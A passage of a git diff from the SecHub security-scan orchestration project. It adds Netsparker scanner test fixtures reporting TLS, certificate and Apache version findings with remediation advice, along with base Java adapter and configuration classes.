17:10","InitiatedDate":"12/02/2018","PolicyId":"8f396ade-e7b3-4eb9-071d-a87e02b14345","Scope":"EnteredPathAndBelow","ExcludeLinks":true,"ExcludedLinks":"[\"(log|sign)\\\\-?(out|off)\",\"exit\",\"endsession\",\"gtm\\\\.js\"]","ImportedLinks":null,"TotalVulnerabilityCount":0,"WebsiteName":"cf8faafaa12cc5087be376b88d0fc4dd","PolicyName":"Test","PolicyDescription":null,"UserId":"e4b96574-e3c7-4bbe-00ff-a87e02a82454","UrlRewriteMode":"Heuristic","UrlRewriteRules":null,"MaxDynamicSignatures":60,"SubPathMaxDynamicSignatures":30,"UrlRewriteBlockSeparators":"/$.,;|:","UrlRewriteAnalyzableExtensions":"htm,html","EnableHeuristicChecksInCustomUrlRewrite":true,"Cookies":null,"CrawlAndAttack":true,"FindAndFollowNewLinks":true,"MaxScanDuration":48,"TimeWindow":null,"AdditionalWebsites":null,"AgentId":null,"AgentName":null,"Id":"a42ab3cf-58e8-455e-6668-a88503af65fe","State":"Queued","Phase":"Pending","CompletedSteps":0,"EstimatedSteps":0,"Percentage":0,"VulnerabilityInfoCount":0,"VulnerabilityLowCount":0,"VulnerabilityMediumCount":0,"VulnerabilityHighCount":0,"VulnerabilityCriticalCount":0,"FailureReasonString":null,"FailureReason":null,"FailureReasonDescription":null,"StateChanged":null,"ScanType":"Full","ThreatLevel":"Unknown","ScanTaskGroupId":"05597fe2-61a3-4675-65d7-a88503ae8541","IsCompleted":false,"EstimatedLaunchTime":null,"ScheduledScanId":null,"GlobalVulnerabilityCriticalCount":0,"GlobalVulnerabilityHighCount":0,"GlobalVulnerabilityMediumCount":0,"GlobalVulnerabilityLowCount":0,"GlobalVulnerabilityInfoCount":0,"WebsiteId":"c06d0b15-ab23-476e-64ea-a88503ad1ca0","GlobalThreatLevel":"Unknown"}] \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json new file mode 100644 index 0000000000..636c9df622 --- /dev/null +++ b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.json @@ -0,0 +1,203 @@ +{ + "Generated": "2018-02-13T15:50:49.6965442+00:00", + "Target": { + "ScanId": "93cc5894f38546f45f7aa8860366c07e", + "Url": "https://fscan.intranet.example.org/", + "Initiated": "2018-02-13T15:51:05.5981218+01:00", + "Duration": "00:30:10.8284631" + }, + "Vulnerabilities": [ + { + "Url": "https://fscan.intranet.example.org/", + "Type": "ApacheVersionDisclosure", + "Name": "Version Disclosure (Apache)", + "Severity": "Low", + "Certainty": 90, + "Confirmed": false, + "State": "Present", + "Classification": { + "Owasp": "", + "Wasc": "45", + "Cwe": "205", + "Capec": "170", + "Pci31": "", + "Pci32": "", + "Hipaa": "164.306(a), 164.308(a)", + "OwaspProactiveControls": "" + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: fscan.intranet.example.org\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 62.4938, + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.4.10 (Debian)\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=100\r\nContent-Length: 1564\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Encoding: \r\nDate: Tue, 13 Feb 2018 14:50:31 GMT\r\nVary: Accept-Encoding\r\n\r\n\n\n\n\t\n\tFile-Scan Service\n\t\n \n \n \n \n \n \n \n \n\n\n\n






\n
\n


1) Drop a file here or click to select.

\n\t\n\t


\n\t\n \n
2) Enter the code: \n
\n\t[ Different Image ]


\n
\"CAPTCHA

\n \n

\n


\n\tQuickly check a file for malicious activity or suspicious content.
Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
\n
\n\n" + }, + "ExtraInformation": [ + { + "Name": "ExtractedVersion", + "Value": "2.4.10" + } + ], + "KnownVulnerabilities": [], + "Description": "

Netsparker Cloud identified a version disclosure (Apache) in the target web server's HTTP response.

This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

", + "Impact": "
An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.
", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "
Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://fscan.intranet.example.org/", + "Type": "ApacheOutOfDate", + "Name": "Out-of-date Version (Apache)", + "Severity": "Medium", + "Certainty": 90, + "Confirmed": false, + "State": "Present", + "Classification": { + "Owasp": "A9", + "Wasc": "", + "Cwe": "", + "Capec": "310", + "Pci31": "6.2", + "Pci32": "6.2", + "Hipaa": "", + "OwaspProactiveControls": "C1" + }, + "HttpRequest": { + "Method": "GET", + "Content": "GET / HTTP/1.1\r\nHost: fscan.intranet.example.org\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36\r\nAccept-Language: en-us,en;q=0.5\r\nX-Scanner: Netsparker Cloud\r\nAccept-Encoding: gzip, deflate\r\n\r\n", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 62.4938, + "Content": "HTTP/1.1 200 OK\r\nServer: Apache/2.4.10 (Debian)\r\nConnection: Keep-Alive\r\nKeep-Alive: timeout=5, max=100\r\nContent-Length: 1564\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Encoding: \r\nDate: Tue, 13 Feb 2018 14:50:31 GMT\r\nVary: Accept-Encoding\r\n\r\n\n\n\n\t\n\tFile-Scan Service\n\t\n \n \n \n \n \n \n \n \n\n\n\n






\n
\n


1) Drop a file here or click to select.

\n\t\n\t


\n\t\n \n
2) Enter the code: \n
\n\t[ Different Image ]


\n
\"CAPTCHA

\n \n

\n


\n\tQuickly check a file for malicious activity or suspicious content.
Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
\n
\n\n" + }, + "ExtraInformation": [ + { + "Name": "Identified Version", + "Value": "2.4.10" + }, + { + "Name": "Latest Version", + "Value": "2.4.29" + }, + { + "Name": "Vulnerability Database", + "Value": "Result is based on 23.11.2017 vulnerability database content." + } + ], + "KnownVulnerabilities": [ + { + "Title": "Apache Denial of Service Vulnerability", + "Severity": "Medium" + }, + { + "Title": "Apache Restriction Bypass Vulnerability", + "Severity": "Medium" + }, + { + "Title": "Apache Restriction Bypass Vulnerability", + "Severity": "Medium" + } + ], + "Description": "

Netsparker Cloud identified you are using an out-of-date version of Apache.

", + "Impact": "
Since this is an old version of the software, it may be vulnerable to attacks.
", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "

Please upgrade your installation of Apache to the latest stable version.

", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://fscan.intranet.example.org/", + "Type": "WeakSignatureAlgorithmDetected", + "Name": "Certificate is Signed Using a Weak Signature Algorithm", + "Severity": "High", + "Certainty": 100, + "Confirmed": true, + "State": "Present", + "Classification": { + "Owasp": "A6", + "Wasc": "4", + "Cwe": "", + "Capec": "459", + "Pci31": "6.5.4", + "Pci32": "6.5.4", + "Hipaa": "", + "OwaspProactiveControls": "C7" + }, + "HttpRequest": { + "Method": "GET", + "Content": "[NETSPARKER] SSL Connection", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 1.0, + "Content": "[NETSPARKER] SSL Connection" + }, + "ExtraInformation": [ + { + "Name": "Weakly Signed Certificates", + "Value": "sha1RSA - E=exampleintegration@example.org, CN=fscan.intranet.example.org, OU=ITM-TSS, O=Daimler AG, L=Ulm, S=Baden-Wuerttemberg, C=DE" + } + ], + "KnownVulnerabilities": [], + "Description": "

Netsparker Cloud detected that a certificate is signed using a weak signature algorithm.

The weak signature algorithm is known to be cryptographically weak and vulnerable to collision attacks.

", + "Impact": "
Attackers can observe the encrypted traffic between your website and its visitors by leveraging the use of this vulnerability.
", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "
You'll need to generate a new certificate request, and get your CA to issue you a new certificate using SHA-2.
", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + }, + { + "Url": "https://fscan.intranet.example.org/", + "Type": "TlsVersion1Support", + "Name": "Insecure Transportation Security Protocol Supported (TLS 1.0)", + "Severity": "Low", + "Certainty": 100, + "Confirmed": true, + "State": "Present", + "Classification": { + "Owasp": "A6", + "Wasc": "4", + "Cwe": "327", + "Capec": "217", + "Pci31": "6.5.4", + "Pci32": "6.5.4", + "Hipaa": "", + "OwaspProactiveControls": "" + }, + "HttpRequest": { + "Method": "GET", + "Content": "[NETSPARKER] SSL Connection", + "Parameters": [] + }, + "HttpResponse": { + "StatusCode": 200, + "Duration": 1.0, + "Content": "[NETSPARKER] SSL Connection" + }, + "ExtraInformation": [], + "KnownVulnerabilities": [], + "Description": "

Netsparker Cloud detected that insecure transportation security protocol (TLS 1.0) is supported by your web server.

TLS 1.0 has several flaws. An attacker can cause connection failures and they can trigger the use of TLS 1.0 to exploit vulnerabilities like BEAST (Browser Exploit Against SSL/TLS).

Websites using TLS 1.0 will be considered non-compliant by PCI after 30 June 2018.

", + "Impact": "
Attackers can perform man-in-the-middle attacks and observe the encryption traffic between your website and its visitors.
", + "RemedialActions": "", + "ExploitationSkills": "", + "RemedialProcedure": "

Configure your web server to disallow using weak ciphers. You need to restart the web server to enable changes.

  • For Apache, adjust the SSLProtocol directive provided by the mod_ssl module. This directive can be set either at the server level or in a virtual host configuration.
    SSLProtocol +TLSv1.1 +TLSv1.2\n
  • For Nginx, locate any use of the directive ssl_protocols in the nginx.conf file and remove TLSv1.
    ssl_protocols TLSv1.1 TLSv1.2;\n
  • For Microsoft IIS, you should make some changes on the system registry.
    1. Click on Start and then Run, type regedt32 or regedit, and then click OK.
    2. In Registry Editor, locate the following registry key or create if it does not exist:
      HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL\\Protocols\\TLS 1.0\\\n
    3. Locate a key named Server or create if it doesn't exist.
    4. Under the Server key, locate a DWORD value named Enabled or create if it doesn't exist and set its value to \"0\".
", + "RemedyReferences": "", + "ExternalReferences": "", + "ProofOfConcept": "" + } + ] +} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml new file mode 100644 index 0000000000..efaf8a42ff --- /dev/null +++ b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_result_output_vulnerabilities.xml @@ -0,0 +1,393 @@ + + + + 93cc5894f38546f45f7aa8860366c07e + https://fscan.intranet.example.org/ + 13/02/2018 15:51 + 00:30:10.8284631 + + + + https://fscan.intranet.example.org/ + ApacheVersionDisclosure + Version Disclosure (Apache) + Low + 90 + False + Present + + + 45 + 205 + 170 + + + 164.306(a), 164.308(a) + + + + + + GET + + + + 200 + 62.4938 + + + + File-Scan Service + + + + + + + + + + + + +






+
+


1) Drop a file here or click to select.

+ +


+ + +
2) Enter the code: +
+ [ Different Image ]


+
CAPTCHA Image

+ +

+


+ Quickly check a file for malicious activity or suspicious content.
Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
+
+ +]]>
+
+ + + + + Netsparker Cloud identified a version disclosure (Apache) in the target web server's HTTP response.

This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Apache.

]]>
+ An attacker might use the disclosed information to harvest specific security vulnerabilities for the version identified.]]> + + + Configure your web server to prevent information leakage from the SERVER header of its HTTP response.]]> + ]]> + + +
+ + https://fscan.intranet.example.org/ + ApacheOutOfDate + Out-of-date Version (Apache) + Medium + 90 + False + Present + + A9 + + + 310 + 6.2 + 6.2 + + C1 + + + + + GET + + + + 200 + 62.4938 + + + + File-Scan Service + + + + + + + + + + + + +






+
+


1) Drop a file here or click to select.

+ +


+ + +
2) Enter the code: +
+ [ Different Image ]


+
CAPTCHA Image

+ +

+


+ Quickly check a file for malicious activity or suspicious content.
Your file is opened and/or executed in an isolated sandbox environment and every procedure it does is monitored.
Your file is treated as confidential, it is deleted after the analysis and solely analyzed on this server.
+
+ +]]>
+
+ + + + + + + + + Apache Denial of Service Vulnerability + Medium + + + Apache Restriction Bypass Vulnerability + Medium + + + Apache Restriction Bypass Vulnerability + Medium + + + Netsparker Cloud identified you are using an out-of-date version of Apache.

]]>
+ Since this is an old version of the software, it may be vulnerable to attacks.]]> + + +

Please upgrade your installation of Apache to the latest stable version.

]]>
+ ]]> + + +
+ + https://fscan.intranet.example.org/ + WeakSignatureAlgorithmDetected + Certificate is Signed Using a Weak Signature Algorithm + High + 100 + True + Present + + A6 + 4 + + 459 + 6.5.4 + 6.5.4 + + C7 + + + + + GET + + + + 200 + 1 + + + + + + + Netsparker Cloud detected that a certificate is signed using a weak signature algorithm.

The weak signature algorithm is known to be cryptographically weak and vulnerable to collision attacks.

]]>
+ Attackers can observe the encrypted traffic between your website and its visitors by leveraging the use of this vulnerability.]]> + + + You'll need to generate a new certificate request, and get your CA to issue you a new certificate using SHA-2.]]> + + ]]> + +
+ + https://fscan.intranet.example.org/ + TlsVersion1Support + Insecure Transportation Security Protocol Supported (TLS 1.0) + Low + 100 + True + Present + + A6 + 4 + 327 + 217 + 6.5.4 + 6.5.4 + + + + + + + GET + + + + 200 + 1 + + + + Netsparker Cloud detected that insecure transportation security protocol (TLS 1.0) is supported by your web server.

TLS 1.0 has several flaws. An attacker can cause connection failures and they can trigger the use of TLS 1.0 to exploit vulnerabilities like BEAST (Browser Exploit Against SSL/TLS).

Websites using TLS 1.0 will be considered non-compliant by PCI after 30 June 2018.

]]>
+ Attackers can perform man-in-the-middle attacks and observe the encryption traffic between your website and its visitors.]]> + + +

Configure your web server to disallow using weak ciphers. You need to restart the web server to enable changes.

  • For Apache, adjust the SSLProtocol directive provided by the mod_ssl module. This directive can be set either at the server level or in a virtual host configuration.
    SSLProtocol +TLSv1.1 +TLSv1.2
    +
  • For Nginx, locate any use of the directive ssl_protocols in the nginx.conf file and remove TLSv1.
    ssl_protocols TLSv1.1 TLSv1.2;
    +
  • For Microsoft IIS, you should make some changes on the system registry.
    1. Click on Start and then Run, type regedt32 or regedit, and then click OK.
    2. In Registry Editor, locate the following registry key or create if it does not exist:
      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\
      +
    3. Locate a key named Server or create if it doesn't exist.
    4. Under the Server key, locate a DWORD value named Enabled or create if it doesn't exist and set its value to "0".
]]>
+ + ]]> + +
+
+
\ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_state_complete.json b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_state_complete.json new file mode 100644 index 0000000000..9179775cde --- /dev/null +++ b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_state_complete.json @@ -0,0 +1 @@ +{"State":"Complete","EstimatedSteps":5000,"CompletedSteps":5000,"EstimatedLaunchTime":null} \ No newline at end of file diff --git a/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_state_scanning.json b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_state_scanning.json new file mode 100644 index 0000000000..cb107a1c5a --- /dev/null +++ b/sechub-adapter-netsparker/src/test/resources/netsparker_v1.0.40.109_scan_state_scanning.json @@ -0,0 +1 @@ +{"State":"Scanning","EstimatedSteps":382,"CompletedSteps":244,"EstimatedLaunchTime":null} \ No newline at end of file diff --git a/sechub-adapter/.gitignore b/sechub-adapter/.gitignore new file mode 100644 index 0000000000..320a101de2 --- /dev/null +++ b/sechub-adapter/.gitignore @@ -0,0 +1,2 @@ +# we ignore version.go files because its generated by build +version.go diff --git a/sechub-adapter/README.md b/sechub-adapter/README.md new file mode 100644 index 0000000000..9a77dc8913 --- /dev/null +++ b/sechub-adapter/README.md @@ -0,0 +1,5 @@ + +About this project +================== + +This is a base for all adapter projects to bundle common parts diff --git a/sechub-adapter/build.gradle b/sechub-adapter/build.gradle new file mode 100644 index 0000000000..9d97ced078 --- /dev/null +++ b/sechub-adapter/build.gradle @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: MIT + /*============================================================================ + * Build file for subproject + * + * Root build file: "${rootProject.projectDir}/build.gradle" + * ============================================================================ + */ +dependencies { + compile library.apache_httpcomponents_core + compile library.apache_httpcomponents_client +} + diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapter.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapter.java new file mode 100644 index 0000000000..98176d042a --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapter.java @@ -0,0 +1,122 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.util.Map; + +import com.daimler.sechub.adapter.support.APIURLSupport; +import com.daimler.sechub.adapter.support.JSONAdapterSupport; + +public abstract class AbstractAdapter,C extends AdapterConfig> implements Adapter { + + private String adapterId; + private APIURLSupport apiURLSupport; + + protected AbstractAdapter() { + apiURLSupport = createAPIURLSupport(); + } + protected JSONAdapterSupport createJsonSupport(TraceIdProvider provider) { + return new JSONAdapterSupport(this, provider); + } + + public AdapterCanceledByUserException asAdapterCanceledByUserException(TraceIdProvider provider) { + return new AdapterCanceledByUserException(getAdapterLogId(provider)); + } + + public AdapterException asAdapterException(String message, TraceIdProvider provider) { + return asAdapterException(message, null, provider); + } + + public AdapterException asAdapterException(String message, Throwable t, TraceIdProvider provider) { + return AdapterException.asAdapterException(getAdapterLogId(provider), message, t); + } + + @Override + public final AdapterLogId getAdapterLogId(TraceIdProvider config) { + if (adapterId == null) { + adapterId = createAdapterId(); + } + String traceID = config == null ? null : config.getTraceID(); + return new AdapterLogId(adapterId, traceID); + } + + protected String createAdapterId() { + return getClass().getSimpleName(); + } + + + + /** + * @param api + * @param config + * @return api url - will always be like: "baseUrl/prefix/apiCall" + */ + public final String createAPIURL(String api, C config) { + return createAPIURL(api, config, (String) null); + } + + + + /** + * @param api + * @param config + * @return api url - will always be like: "baseUrl/prefix/apiCall" + */ + public final String createAPIURL(String api, A adapter) { + return createAPIURL(api, adapter.getConfig()); + } + + /** + * + * @param api + * @param config + * @param otherBaseURL + * @return api url - will always be like: "otherBaseURL/prefix/apiCall" + */ + public final String createAPIURL(String api, C config, String otherBaseURL) { + return createAPIURL(api, config, otherBaseURL,null); + } + + /** + * + * @param api + * @param config + * @param otherBaseURL + * @return api url - will always be like: "otherBaseURL/prefix/apiCall" + */ + public final String createAPIURL(String api, C config, Map map) { + String prefix = getAPIPrefix(); + return internalCreateAPIURL(api, config, prefix, null, map); + } + + /** + * + * @param api + * @param config + * @param otherBaseURL + * @return api url - will always be like: "otherBaseURL/prefix/apiCall" + */ + public final String createAPIURL(String api, C config, String otherBaseURL, Map map) { + String prefix = getAPIPrefix(); + return internalCreateAPIURL(api, config, prefix, otherBaseURL, map); + } + + /** + * Returns the API prefix or null if there is none.
+ *
+ * Is used to create API urls.
+ * An example: host:"localhost:8080", apiCall:"users", prefix:"api/v1.0" would + * lead to "http://localhost:8080/api/v1.0/users" + * + * @return + */ + protected abstract String getAPIPrefix(); + + protected APIURLSupport createAPIURLSupport() { + return new APIURLSupport(); + } + + private String internalCreateAPIURL(String apiPath, C config, String apiPrefix, String otherBaseURL, Map map) { + return apiURLSupport.createAPIURL(apiPath, config, apiPrefix, otherBaseURL,map); + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfig.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfig.java new file mode 100644 index 0000000000..6551a88bd3 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfig.java @@ -0,0 +1,172 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.net.InetAddress; +import java.net.URI; +import java.util.HashMap; +import java.util.LinkedHashSet; +import java.util.Map; +import java.util.Set; + +import javax.crypto.SealedObject; + +public abstract class AbstractAdapterConfig implements AdapterConfig { + + String productBaseURL; + String base64Token; + + int timeToWaitForNextCheckOperationInMilliseconds; + int timeOutInMilliseconds; + int proxyPort; + String proxyHostname; + + String user; + SealedObject password; + + String policyId; + + String projectId; + + LinkedHashSet targetURIs=new LinkedHashSet<>(); + LinkedHashSet rootTargetUris = new LinkedHashSet<>(); + + String traceID; + boolean trustAllCertificatesEnabled; + private Map options = new HashMap<>(); + LinkedHashSet targetIPs = new LinkedHashSet<>(); + private String targetType; + + + protected AbstractAdapterConfig() { + } + + + + @Override + public final int getTimeOutInMilliseconds() { + return timeOutInMilliseconds; + } + + @Override + public int getTimeToWaitForNextCheckOperationInMilliseconds() { + return timeToWaitForNextCheckOperationInMilliseconds; + } + + @Override + public boolean isTrustAllCertificatesEnabled() { + return trustAllCertificatesEnabled; + } + + @Override + public final String getProductBaseURL() { + return productBaseURL; + } + + @Override + public final String getTraceID() { + return traceID; + } + + @Override + public String getTargetType() { + if (targetType==null) { + return ""; + } + return targetType; + } + + @Override + public final Set getTargetURIs() { + return targetURIs; + } + + @Override + public URI getTargetURI() { + if (targetURIs==null || targetURIs.isEmpty()) { + return null; + } + return targetURIs.iterator().next(); + } + + @Override + public String getTargetAsString() { + URI uri = getTargetURI(); + if (uri==null) { + return null; + } + return uri.toString(); + } + + @Override + public final Set getTargetIPs() { + return targetIPs; + } + + @Override + public Set getRootTargetURIs() { + return rootTargetUris; + } + + @Override + public URI getRootTargetURI() { + if (rootTargetUris==null || rootTargetUris.isEmpty()) { + return null; + } + return rootTargetUris.iterator().next(); + } + + @Override + public String getRootTargetURIasString() { + URI uri = getRootTargetURI(); + if (uri==null) { + return null; + } + return uri.toString(); + } + + @Override + public final String getBase64Token() { + return base64Token; + } + + @Override + public final String getUser() { + return user; + } + + @Override + public String getPolicyId() { + return policyId; + } + + @Override + public final String getPassword() { + return CryptoAccess.CRYPTO_STRING.unseal(password); + } + + @Override + public final String getProxyHostname() { + return proxyHostname; + } + + @Override + public final int getProxyPort() { + return proxyPort; + } + + @Override + public final boolean isProxyDefined() { + return proxyHostname != null && !proxyHostname.isEmpty(); + } + + @Override + public Map getOptions() { + return options; + } + + @Override + public String getProjectId() { + return projectId; + } + +} diff --git a/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java new file mode 100644 index 0000000000..2507d38c28 --- /dev/null +++ b/sechub-adapter/src/main/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilder.java @@ -0,0 +1,345 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import java.net.InetAddress; +import java.net.URI; +import java.util.Base64; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.Set; + +import javax.crypto.SealedObject; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.adapter.support.URIShrinkSupport; + +public abstract class AbstractAdapterConfigBuilder, C extends AdapterConfig> { + + private static final Logger LOG = LoggerFactory.getLogger(AbstractAdapterConfigBuilder.class); + + private static final int MAX_5_DAYS_IN_MINUTES = 5 * 24 * 60; + private static final int MAX_1_HOUR_IN_MINUTES = 60; + + private static final int DEFAULT_SCAN_RESULT_TIMEOUT_IN_MINUTES=MAX_5_DAYS_IN_MINUTES; + private static final int DEFAULT_SCAN_RESULT_CHECK_IN_MINUTES=1; + + public static final String DOCUMENT_INFO_TIMEOUT="Time in minutes when adapter result check will be canceled/time out. When -1 timeout is "+AbstractAdapterConfigBuilder.DEFAULT_SCAN_RESULT_TIMEOUT_IN_MINUTES+" minutes"; + public static final String DOCUMENT_INFO_CHECK="Time in minutes when adapter check operation is called next. When -1 value is "+AbstractAdapterConfigBuilder.DEFAULT_SCAN_RESULT_CHECK_IN_MINUTES+" minutes"; + public static final String DOCUMENT_INFO_TRUSTALL="Turns off certification checks for this product only. Should only be used in test or development environments!"; + + + private String traceID; + private String user; + private String apiToken; + private String productBaseURL; + + private int timeToWaitForNextCheckOperationInMinutes = DEFAULT_SCAN_RESULT_CHECK_IN_MINUTES;// one minute check default + private int scanResultTimeOutInMinutes = DEFAULT_SCAN_RESULT_TIMEOUT_IN_MINUTES; // 5 days default + + private String proxyHostname; + + private int proxyPort; + + private SealedObject password; + + private String policyID; + + private LinkedHashSet targetURIs = new LinkedHashSet<>(); + + private LinkedHashSet targetIPs = new LinkedHashSet<>(); + + private boolean trustAllCertificatesEnabled; + + private URIShrinkSupport uriShrinker; + + private String projectId; + + + protected AbstractAdapterConfigBuilder() { + uriShrinker = createURIShrinker(); + } + + /** + * Hook for tests + * @return new shrinker, never null + */ + protected URIShrinkSupport createURIShrinker() { + return new URIShrinkSupport(); + } + + /** + * Set result check interval in milliseconds. + * + * @param minutes + * when <0 the setting will be ignored and default value used!" + * see {@link #DOCUMENT_INFO_CHECK} + * @return builder + */ + @SuppressWarnings("unchecked") + public final B setTimeToWaitForNextCheckOperationInMinutes(int minutes) { + if (minutes < 0) { + return (B) this; + } + this.timeToWaitForNextCheckOperationInMinutes = minutes; + return (B) this; + } + + /** + * Set result check timeout in minutes. + * + * @param scanResultTimeOutInMinutes + * when <0 the setting will be ignored and default value used!" + * see {@link #DOCUMENT_INFO_TIMEOUT} + * @return + */ + @SuppressWarnings("unchecked") + public final B setScanResultTimeOutInMinutes(int scanResultTimeOutInMinutes) { + if (scanResultTimeOutInMinutes < 0) { + return (B) this; + } + this.scanResultTimeOutInMinutes = scanResultTimeOutInMinutes; + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setUser(String userID) { + this.user = userID; + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setPassword(String password) { + this.password=CryptoAccess.CRYPTO_STRING.seal(password); + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setApiToken(String apiToken) { + this.apiToken = apiToken; + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setTraceID(String traceID) { + this.traceID = traceID; + return (B) this; + } + + /** + * Set the base url for the product - e.g. "https://x.y.z:8123" + * @param baseURL + * @return + */ + @SuppressWarnings("unchecked") + public final B setProductBaseUrl(String baseURL) { + this.productBaseURL = baseURL; + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setProxyHostname(String hostname) { + this.proxyHostname = hostname; + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setProxyPort(int proxyPort) { + this.proxyPort = proxyPort; + return (B) this; + } + + @SuppressWarnings("unchecked") + public final B setPolicyID(String policyID) { + this.policyID = policyID; + return (B) this; + } + + @SuppressWarnings("unchecked") + public B setTargetURIs(Set targetURIs) { + if (targetURIs==null) { + this.targetURIs= new LinkedHashSet<>(); + }else { + this.targetURIs= new LinkedHashSet<>(); + this.targetURIs.addAll(targetURIs); + } + return (B) this; + } + + @SuppressWarnings("unchecked") + public B setTargetURI(URI targetURI) { + if (targetURI==null) { + return (B) this; + } + return setTargetURIs(Collections.singleton(targetURI)); + } + + @SuppressWarnings("unchecked") + public B setTargetIPs(Set targetIPs) { + if (targetIPs==null) { + this.targetIPs= new LinkedHashSet<>(); + }else { + this.targetIPs= new LinkedHashSet<>(); + this.targetIPs.addAll(targetIPs); + } + return (B) this; + } + + @SuppressWarnings("unchecked") + public B setProjectId(String projectId) { + this.projectId=projectId; + return (B) this; + } + + @SuppressWarnings("unchecked") + public B setTargetIP(InetAddress ipAdress) { + if (ipAdress==null) { + return (B) this; + } + return setTargetIPs(Collections.singleton(ipAdress)); + } + + /** + * Be aware when using this - this highly insecure and + * should only be used for development. Enabling this, + * the used adapter will accept all kind of certificates! + * @param trustAllCertificates + * @return + */ + @SuppressWarnings("unchecked") + public B setTrustAllCertificates(boolean trustAllCertificates) { + this.trustAllCertificatesEnabled=trustAllCertificates; + return (B) this; + } + + public final C build() { + validate(); + ensureTimeSetup(); + ensureTraceID(); + + C config = buildInitialConfig(); + if (!( config instanceof AbstractAdapterConfig)) { + throw new IllegalStateException(getClass().getName()+" does not return a child of AbstractAdapterConfig!"); + } + AbstractAdapterConfig abstractAdapterConfig = (AbstractAdapterConfig) config; + abstractAdapterConfig.productBaseURL = productBaseURL; + + String tokenString = user + ":" + apiToken; + byte[] tokenBytes = tokenString.getBytes(); + abstractAdapterConfig.base64Token = Base64.getEncoder().encodeToString(tokenBytes); + + abstractAdapterConfig.timeToWaitForNextCheckOperationInMilliseconds = 